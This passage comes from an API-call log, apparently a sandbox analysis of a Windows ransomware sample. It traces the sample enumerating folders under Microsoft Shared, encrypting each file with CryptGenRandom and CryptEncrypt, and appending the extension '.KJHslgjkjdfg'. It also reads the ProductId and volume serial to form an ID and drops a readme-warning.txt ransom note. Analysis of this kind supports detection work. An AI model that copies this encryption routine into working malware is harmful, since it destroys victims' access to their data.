hFile=0x12c, lpFileSize=0x4dfeff8 | out: lpFileSize=0x4dfeff8*=1658904) returned 1 [0189.392] GetProcessHeap () returned 0x2ef0000 [0189.392] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.392] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.392] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.392] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe4, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe4*=0x8, lpOverlapped=0x0) returned 1 [0189.394] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefe8 | out: phKey=0x4dfefe8*=0x2f18308) returned 1 [0189.394] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.394] GetProcessHeap () returned 0x2ef0000 [0189.394] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.394] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefc8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefc8*=0x40) returned 1 [0189.394] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.394] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe4*=0x40, lpOverlapped=0x0) returned 1 [0189.394] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfefec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe4, lpOverlapped=0x0 | out: lpBuffer=0x4dfefec*, lpNumberOfBytesWritten=0x4dfefe4*=0x4, lpOverlapped=0x0) returned 1 [0189.394] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe4*=0x10, lpOverlapped=0x0) returned 1 [0189.394] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe4*=0x80, lpOverlapped=0x0) returned 1 [0189.394] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.394] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe4, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe4*=0x8, lpOverlapped=0x0) returned 1 [0189.394] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefe8 | out: phKey=0x4dfefe8*=0x2f18308) returned 1 [0189.394] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.394] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfefb8 | out: lpNewFilePointer=0x0) returned 1 [0189.395] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dfefac, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfefac*=0x40000, lpOverlapped=0x0) returned 1 [0189.443] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefb4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefb4*=0x40000) returned 1 [0189.448] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.448] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dfefb0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefb0*=0x40000, lpOverlapped=0x0) returned 1 [0189.449] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x1950f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.449] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfefb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefb0, lpOverlapped=0x0 | out: lpBuffer=0x4dfefb8*, lpNumberOfBytesWritten=0x4dfefb0*=0x8, lpOverlapped=0x0) returned 1 [0189.449] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x87008, lpNewFilePointer=0x0, dwMoveMethod=0x4dfefb8 | out: lpNewFilePointer=0x0) returned 1 [0189.449] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dfefac, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfefac*=0x40000, lpOverlapped=0x0) returned 1 [0189.457] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefb4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefb4*=0x40000) returned 1 [0189.460] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x87008, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.460] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dfefb0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefb0*=0x40000, lpOverlapped=0x0) returned 1 [0189.461] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x1950f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.461] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfefb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefb0, lpOverlapped=0x0 | out: lpBuffer=0x4dfefb8*, lpNumberOfBytesWritten=0x4dfefb0*=0x8, lpOverlapped=0x0) returned 1 [0189.461] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x155020, lpNewFilePointer=0x0, dwMoveMethod=0x4dfefb8 | out: lpNewFilePointer=0x0) returned 1 [0189.461] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dfefac, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfefac*=0x40000, lpOverlapped=0x0) returned 1 [0189.467] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefb4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefb4*=0x40000) returned 1 [0189.470] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x155020, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.470] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dfefb0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefb0*=0x40000, lpOverlapped=0x0) returned 1 [0189.471] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x1950f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.471] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfefb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefb0, lpOverlapped=0x0 | out: lpBuffer=0x4dfefb8*, lpNumberOfBytesWritten=0x4dfefb0*=0x8, lpOverlapped=0x0) returned 1 [0189.472] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.472] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x1950f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.472] SetEndOfFile (hFile=0x12c) returned 1 [0189.475] GetProcessHeap () returned 0x2ef0000 [0189.475] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.475] GetProcessHeap () returned 0x2ef0000 [0189.475] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.475] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.kjhslgjkjdfg")) returned 1 [0189.476] CloseHandle (hObject=0x12c) returned 1 [0189.476] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0 [0189.476] GetProcessHeap () returned 0x2ef0000 [0189.476] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.477] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.477] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0189.477] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.477] GetProcessHeap () returned 0x2ef0000 [0189.477] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0189.477] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.477] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0189.477] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.477] GetProcessHeap () returned 0x2ef0000 [0189.477] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0189.477] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.477] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0189.477] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.477] GetProcessHeap () returned 0x2ef0000 [0189.477] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0189.477] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.477] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0189.477] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.477] GetProcessHeap () returned 0x2ef0000 [0189.477] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.477] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.478] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0189.478] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.478] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0189.478] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0189.478] RegCloseKey (hKey=0x12c) returned 0x0 [0189.478] GetProcessHeap () returned 0x2ef0000 [0189.478] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0189.478] GetProcessHeap () returned 0x2ef0000 [0189.478] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.478] GetProcessHeap () returned 0x2ef0000 [0189.478] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.478] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.478] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0189.479] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.479] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0189.479] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0189.479] GetProcessHeap () returned 0x2ef0000 [0189.479] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.479] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0189.479] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0189.479] GetProcessHeap () returned 0x2ef0000 [0189.479] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0189.479] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\readme-warning.txt") returned 79 [0189.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.481] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0189.482] CloseHandle (hObject=0x12c) returned 1 [0189.482] GetProcessHeap () returned 0x2ef0000 [0189.482] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0189.482] GetProcessHeap () returned 0x2ef0000 [0189.482] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0189.482] GetProcessHeap () returned 0x2ef0000 [0189.482] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0189.482] GetProcessHeap () returned 0x2ef0000 [0189.482] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.482] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0189.483] GetProcessHeap () returned 0x2ef0000 [0189.483] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0189.483] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENES", cAlternateFileName="")) returned 1 [0189.483] GetProcessHeap () returned 0x2ef0000 [0189.483] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8a) returned 0x2f425d0 [0189.483] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0189.485] GetProcessHeap () returned 0x2ef0000 [0189.485] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0189.485] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0189.485] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0189.485] GetProcessHeap () returned 0x2ef0000 [0189.485] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28c) returned 0x2f16e68 [0189.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.485] GetProcessHeap () returned 0x2ef0000 [0189.485] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.485] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.485] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.486] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x2, lpOverlapped=0x0) returned 1 [0189.488] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.488] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.488] GetProcessHeap () returned 0x2ef0000 [0189.488] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.488] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.488] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.488] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.489] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.489] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.489] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.489] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.489] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.489] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.489] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.489] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.489] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xeed1e, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xeed1e, lpOverlapped=0x0) returned 1 [0189.507] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xeed20, dwBufLen=0xeed20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xeed20) returned 1 [0189.518] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.518] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xeed20, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xeed20, lpOverlapped=0x0) returned 1 [0189.521] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.521] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xeedf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.521] SetEndOfFile (hFile=0x12c) returned 1 [0189.525] GetProcessHeap () returned 0x2ef0000 [0189.525] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.525] GetProcessHeap () returned 0x2ef0000 [0189.525] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.526] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its.kjhslgjkjdfg")) returned 1 [0189.527] CloseHandle (hObject=0x12c) returned 1 [0189.527] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, 